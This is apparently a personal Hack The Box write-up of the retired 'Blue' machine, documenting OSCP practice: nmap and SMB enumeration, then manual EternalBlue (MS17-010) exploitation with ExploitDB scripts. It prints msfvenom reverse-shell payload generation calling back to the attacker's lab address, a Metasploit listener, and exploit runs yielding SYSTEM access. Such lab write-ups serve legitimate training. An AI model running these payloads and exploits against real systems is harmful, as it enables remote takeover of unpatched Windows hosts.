Contents

Overview

In preparation for my OSCP, I have begun the long journey of completing all retired boxes, sorted by user-rated difficulty. Starting on the 1st May 2021, I am doing Blue.

Note: I am doing these retired boxes for now on our shared SESH Account - because why pay for VIP twice?

I have been recommended to tackle these up to about a 6 in difficulty, as that is about the highest I should encounter in the exam. I don’t expect to do them all by the time I sit my exam (aiming for mid-late August 2021), but I have to start somewhere. I expect to learn a lot, especially about Windows which is currently my weakest area.

Box Details

IP User-Rated Difficulty OS Date Started Date Completed
10.10.10.40 2.4 Windows (7) 2021-05-01 2021-05-01

Blue has a difficulty rating of 2.4, the lowest on HTB:


The box was super simple - all it involved was enumerating the box to discover SMB was running and that the OS was Windows 7, vulnerable to Eternal Blue.

If you want to root it quickly, you can just use metasploit. I tried to manually exploit it, as Metasploit is not allowed on OSCP. It took an extra couple of hours to setup and get the right details, but was still pretty easy - just fiddly.

All in all it only took about 3 hours. Pretty slow going for a box of this difficulty, but I will hopefully speed that up - and now I’m equipped with a working Eternal Blue exploit I can reuse that on other boxes :)

Ratings

I rated the box a 1 for both user and root - the exploit was simple really, made harder only by the fact I tried to do it manually. And there was no priv esc involved, as it dropped us straight in as SYSTEM.

Tags

#writeup #windows #cve #smb #oscp-prep #no-metasploit

Enumeration

nmap

I started off with an nmap scan:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ nmap -v -sC -sV -oA nmap/ 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-01 11:53 BST
NSE: Loaded 153 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:53
Completed NSE at 11:53, 0.00s elapsed
Initiating NSE at 11:53
Completed NSE at 11:53, 0.00s elapsed
Initiating NSE at 11:53
Completed NSE at 11:53, 0.00s elapsed
Initiating Ping Scan at 11:53
Scanning 10.10.10.40 [2 ports]
Completed Ping Scan at 11:53, 0.04s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:53
Completed Parallel DNS resolution of 1 host. at 11:53, 0.00s elapsed
Initiating Connect Scan at 11:53
Scanning 10.10.10.40 [1000 ports]
Discovered open port 135/tcp on 10.10.10.40
Discovered open port 445/tcp on 10.10.10.40
Discovered open port 139/tcp on 10.10.10.40
Discovered open port 49156/tcp on 10.10.10.40
Discovered open port 49154/tcp on 10.10.10.40
Discovered open port 49153/tcp on 10.10.10.40
Discovered open port 49152/tcp on 10.10.10.40
Discovered open port 49155/tcp on 10.10.10.40
Discovered open port 49157/tcp on 10.10.10.40
Completed Connect Scan at 11:53, 1.59s elapsed (1000 total ports)
Initiating Service scan at 11:53
Scanning 9 services on 10.10.10.40
Service scan Timing: About 44.44% done; ETC: 11:55 (0:01:08 remaining)
Completed Service scan at 11:54, 59.30s elapsed (9 services on 1 host)
NSE: Script scanning 10.10.10.40.
Initiating NSE at 11:54
Completed NSE at 11:54, 10.11s elapsed
Initiating NSE at 11:54
Completed NSE at 11:54, 0.01s elapsed
Initiating NSE at 11:54
Completed NSE at 11:54, 0.00s elapsed
Nmap scan report for 10.10.10.40
Host is up (0.026s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -16m03s, deviation: 34m36s, median: 3m54s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2021-05-01T11:58:35+01:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-05-01T10:58:33
|_  start_date: 2021-05-01T10:55:38

NSE: Script Post-scanning.
Initiating NSE at 11:54
Completed NSE at 11:54, 0.00s elapsed
Initiating NSE at 11:54
Completed NSE at 11:54, 0.00s elapsed
Initiating NSE at 11:54
Completed NSE at 11:54, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.13 seconds

This shows a large number of RPC ports, and an SMB service on port 445.

OS Discovery reveals the operating system to be Windows 7 Professional 7601, and reveals a potential user haris

Enumerating SMB

I tried a basic smbmap against the host to see if any domain name was exposed, then tried enumerating with null authentication:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ smbmap -H 10.10.10.40
[+] IP: 10.10.10.40:445	Name: 10.10.10.40
┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ smbmap -u null -p "" -H 10.10.10.40
[+] Guest session   	IP: 10.10.10.40:445	Name: 10.10.10.40                                       
        Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	NO ACCESS	Remote IPC
	Share                                             	READ ONLY	
	Users                                             	READ ONLY

We can see we have access to the Share share and the Users share. Let’s connect to them and see what’s inside:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ smbclient //10.10.10.40/Users
Enter WORKGROUP\mac's password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                  DR        0  Fri Jul 21 07:56:23 2017
  ..                                 DR        0  Fri Jul 21 07:56:23 2017
  Default                           DHR        0  Tue Jul 14 08:07:31 2009
  desktop.ini                       AHS      174  Tue Jul 14 05:54:24 2009
  Public                             DR        0  Tue Apr 12 08:51:29 2011

		8362495 blocks of size 4096. 4258428 blocks available
smb: \> cd Default\
smb: \Default\> dir
  .                                 DHR        0  Tue Jul 14 08:07:31 2009
  ..                                DHR        0  Tue Jul 14 08:07:31 2009
  AppData                           DHn        0  Tue Jul 14 04:20:08 2009
  Desktop                            DR        0  Tue Jul 14 03:34:59 2009
  Documents                          DR        0  Tue Jul 14 06:08:56 2009
  Downloads                          DR        0  Tue Jul 14 03:34:59 2009
  Favorites                          DR        0  Tue Jul 14 03:34:59 2009
  Links                              DR        0  Tue Jul 14 03:34:59 2009
  Music                              DR        0  Tue Jul 14 03:34:59 2009
  NTUSER.DAT                       AHSn   262144  Fri Jul 14 23:37:57 2017
  NTUSER.DAT.LOG                     AH     1024  Tue Apr 12 08:54:55 2011
  NTUSER.DAT.LOG1                    AH   189440  Sun Jul 16 21:22:24 2017
  NTUSER.DAT.LOG2                    AH        0  Tue Jul 14 03:34:08 2009
  NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf    AHS    65536  Tue Jul 14 05:45:54 2009
  NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms    AHS   524288  Tue Jul 14 05:45:54 2009
  NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms    AHS   524288  Tue Jul 14 05:45:54 2009
  Pictures                           DR        0  Tue Jul 14 03:34:59 2009
  Saved Games                        Dn        0  Tue Jul 14 03:34:59 2009
  Videos                             DR        0  Tue Jul 14 03:34:59 2009

		8362495 blocks of size 4096. 4258428 blocks available
smb: \Default\> 

The Users share is particularly interesting, and contains some NTUSER.DAT files. These are Windows Profile files, and it seems it is potentially possible to extract password information from them. We’ll make a note of this and potentially come back to these later if we run out of ideas.

SMB Vulnerability Scan

I didn’t do this when I first ran through the box, but the following command would have immediately raised that the box was vulnerable to Eternal Blue.

┌──(mac㉿kali)-[~/Documents/Personal-Vault]
└─$ nmap --script vuln 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-01 19:41 BST
Nmap scan report for 10.10.10.40
Host is up (0.032s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 112.68 seconds

I found out it was vulnerable a different way, detailed in the next section.

Eternal Blue

I decided to google the operating system, searching “windows 7 7601 exploit”. This immediately revealed that the system was vulnerable to Eternal Blue.

Exploit DB reveals that it can be used for local privilege escalation: https://www.exploit-db.com/exploits/47176. So I perhaps needed to find another way to gain a foothold on the box first.

I took another look at Google, and there was a separate writeup from Rapid7 that suggested remote code execution over SMB:

https://www.rapid7.com/db/modules/exploit/windows/smb/ms17_010_eternalblue/

This looked much more useful. It was available on msfconsole, but I decided to use the version from ExploitDB instead as metasploit is prohibited in OSCP.

Editing the 42031 Exploit

I spent a while on this box editing the windows/remote/42031.py exploit on ExploitDB to work with python2 on my machine. The exploit didn’t end up working in the end, but the steps involved highlighted an important skill. If you want to skip to the working exploit you can.

Running 42301.py with python3 causes an issue with the pack() function:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ python3 42031.py 10.10.10.40
Traceback (most recent call last):
  File "/home/mac/Documents/HTB/blue/42031.py", line 83, in <module>
    ntfea10000 = pack('<BBH', 0, 0, 0xffdd) + 'A'*0xffde
TypeError: can't concat str to bytes

This is because pack() behaves differently in python2, for which the script was written.

There are a couple of ways to fix this:

I thought running it with python2 was simplest:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ python2 42031.py 
Traceback (most recent call last):
  File "42031.py", line 2, in <module>
    from impacket import smb
ImportError: No module named impacket

However, the python2 version of the impacket module was not installed. To get this, I had to install the python2 version of pip:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ curl https://bootstrap.pypa.io/pip/2.7/get-pip.py --output get-pip.py
┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ python2 get-pip.py
...[snip]...
Successfully installed pip-20.3.4 wheel-0.36.2
┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ /home/mac/.local/bin/pip2.7 install impacket
...[snip]...

This fixed our issues, and we could now run our script:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.14.2 LPORT=9001 > shellcode
...[snip]...
┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ python2 42031.py 10.10.10.40 shellcode

As I said, the script didn’t end up working - but these debugging steps were useful to learn. This thread on the HTB forum was extremely useful.

Working Exploit - 42315

I followed this excellent tutorial on exploiting Eternal Blue manually. It used a different exploit, windows/remote/42315.py.

First, mirror the exploit:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ searchsploit -m windows/remote/42315.py

The exploit requires providing a working username. When I first tried the box I went with null, as I had used it to login before.

I tried the exploit multiple times before realising this was incorrect - in fact, earlier enumeration exposed that guest was the correct username to login with. I set this in the code:

After setting the username, I downloaded mysmb, a required package:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ wget https://raw.githubusercontent.com/worawit/MS17-010/master/mysmb.py

Then I ran a scan for named pipes on the box. These allow processes to communicate and specifying one is a crucial step of the exploit:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ msfconsole -q
msf6 > use auxiliary/scanner/smb/pipe_auditor 
msf6 auxiliary(scanner/smb/pipe_auditor) > set rhosts 10.10.10.40
rhosts => 10.10.10.40
msf6 auxiliary(scanner/smb/pipe_auditor) > run

[+] 10.10.10.40:445       - Pipes: \netlogon, \lsarpc, \samr, \browser, \atsvc, \epmapper, \eventlog, \InitShutdown, \keysvc, \lsass, \LSM_API_service, \ntsvcs, \plugplay, \protected_storage, \scerpc, \srvsvc, \trkwks, \W32TIME_ALT, \wkssvc
[*] 10.10.10.40:          - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

We can use netlogon as our pipe. Now let’s rerun it:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ python2 42315.py 10.10.10.40 netlogon
Target OS: Windows 7 Professional 7601 Service Pack 1
Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa8004885020
SESSION: 0xfffff8a0015fa7e0
FLINK: 0xfffff8a0037dd088
InParam: 0xfffff8a0037d715c
MID: 0x3e03
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
creating file c:\pwned.txt on the target
Done

So it worked! We don’t have visibility over whether the file was created, as it is on the system itself not the SMB share. So now we have to modify the exploit to let us privesc.

We want to change the exploit to instead request a file from our box and execute it, using service_exec().

First, we need to create a shell .exe file to upload to the box:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ msfvenom -a x64 --platform Windows -p windows/x64/shell_reverse_tcp lhost=10.10.14.2 lport=9001 -e x64/xor -i 5 -f exe -o shell.exe
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x64/xor
x64/xor succeeded with size 551 (iteration=0)
x64/xor succeeded with size 591 (iteration=1)
x64/xor succeeded with size 631 (iteration=2)
x64/xor succeeded with size 671 (iteration=3)
x64/xor succeeded with size 711 (iteration=4)
x64/xor chosen with final size 711
Payload size: 711 bytes
Final size of exe file: 7168 bytes
Saved as: shell.exe

The first exploit I tried involved using bitsadmin to download the shell script from our box, as shown below:

However this would turn out not to work, and I eventually settled on using smb_send_file instead:

(note: I also changed the name of the .exe to sc.exe, in case shell.exe was getting caught by AV - this turned out not to be the issue, but that’s why the filename has changed)

I used the msf handler, as per the tutorial:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ msfconsole -q
msf6 > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/shell_reverse_tcp
payload => windows/x64/shell_reverse_tcp
msf6 exploit(multi/handler) > set lhost tun0
lhost => tun0
msf6 exploit(multi/handler) > set lport 9001
lport => 9001
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.14.2:9001 

I spent a while debugging my payloads - I had made some syntax errors in my original attempt, which I’ve excluded because no one wants to read those.

My real issues turned out to be getting the username and delivery method incorrect, but most of my time was spent changing payloads as I believed that to be the issue at the time. A lesson was learnt here - go for the simplest payload first and make sure everything else is correct before you go changing it.

When all that was fixed I ran my exploit:

┌──(mac㉿kali)-[~/Documents/HTB/blue]
└─$ python2 exploit.py 10.10.10.40 netlogon
Target OS: Windows 7 Professional 7601 Service Pack 1
Target is 64 bit
Got frag size: 0x10
GROOM_POOL_SIZE: 0x5030
BRIDE_TRANS_SIZE: 0xfa0
CONNECTION: 0xfffffa8002dc6ba0
SESSION: 0xfffff8a001520560
FLINK: 0xfffff8a008214048
InParam: 0xfffff8a00826015c
MID: 0x2207
unexpected alignment, diff: 0x-4cfb8
leak failed... try again
CONNECTION: 0xfffffa8002dc6ba0
SESSION: 0xfffff8a001520560
FLINK: 0xfffff8a004117048
InParam: 0xfffff8a00827215c
MID: 0x2207
unexpected alignment, diff: 0x-415bfb8
leak failed... try again
CONNECTION: 0xfffffa8002dc6ba0
SESSION: 0xfffff8a001520560
FLINK: 0xfffff8a008254048
InParam: 0xfffff8a00890715c
MID: 0x2207
unexpected alignment, diff: 0x-6b3fb8
leak failed... try again
CONNECTION: 0xfffffa8002dc6ba0
SESSION: 0xfffff8a001520560
FLINK: 0xfffff8a00891f088
InParam: 0xfffff8a00891915c
MID: 0x2303
success controlling groom transaction
modify trans1 struct for arbitrary read/write
make this SMB session to be SYSTEM
overwriting session security context
Opening SVCManager on 10.10.10.40.....
Creating service WiMl.....
Starting service WiMl.....
The NETBIOS connection with the remote host timed out.
Removing service WiMl.....
ServiceExec Error on: 10.10.10.40
nca_s_proto_error
Done

I got a shell!

It seems this pops out directly as system. So we can go and grab both flags.

There’s the pwned.txt file from before…

c:\>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is A0EF-1911

 Directory of c:\

14/07/2009  04:20    <DIR>          PerfLogs
24/12/2017  03:23    <DIR>          Program Files
14/07/2017  17:58    <DIR>          Program Files (x86)
01/05/2021  17:55                 0 pwned.txt
01/05/2021  19:14             7,168 sc.exe
14/07/2017  14:48    <DIR>          Share
21/07/2017  07:56    <DIR>          Users
15/01/2021  11:42    <DIR>          Windows

And here are the flags:

That’s the box!

Key Lessons

Here are some of the key things I learned on this box:

Although this is the easiest box on Hack the Box, it taught me an awful lot!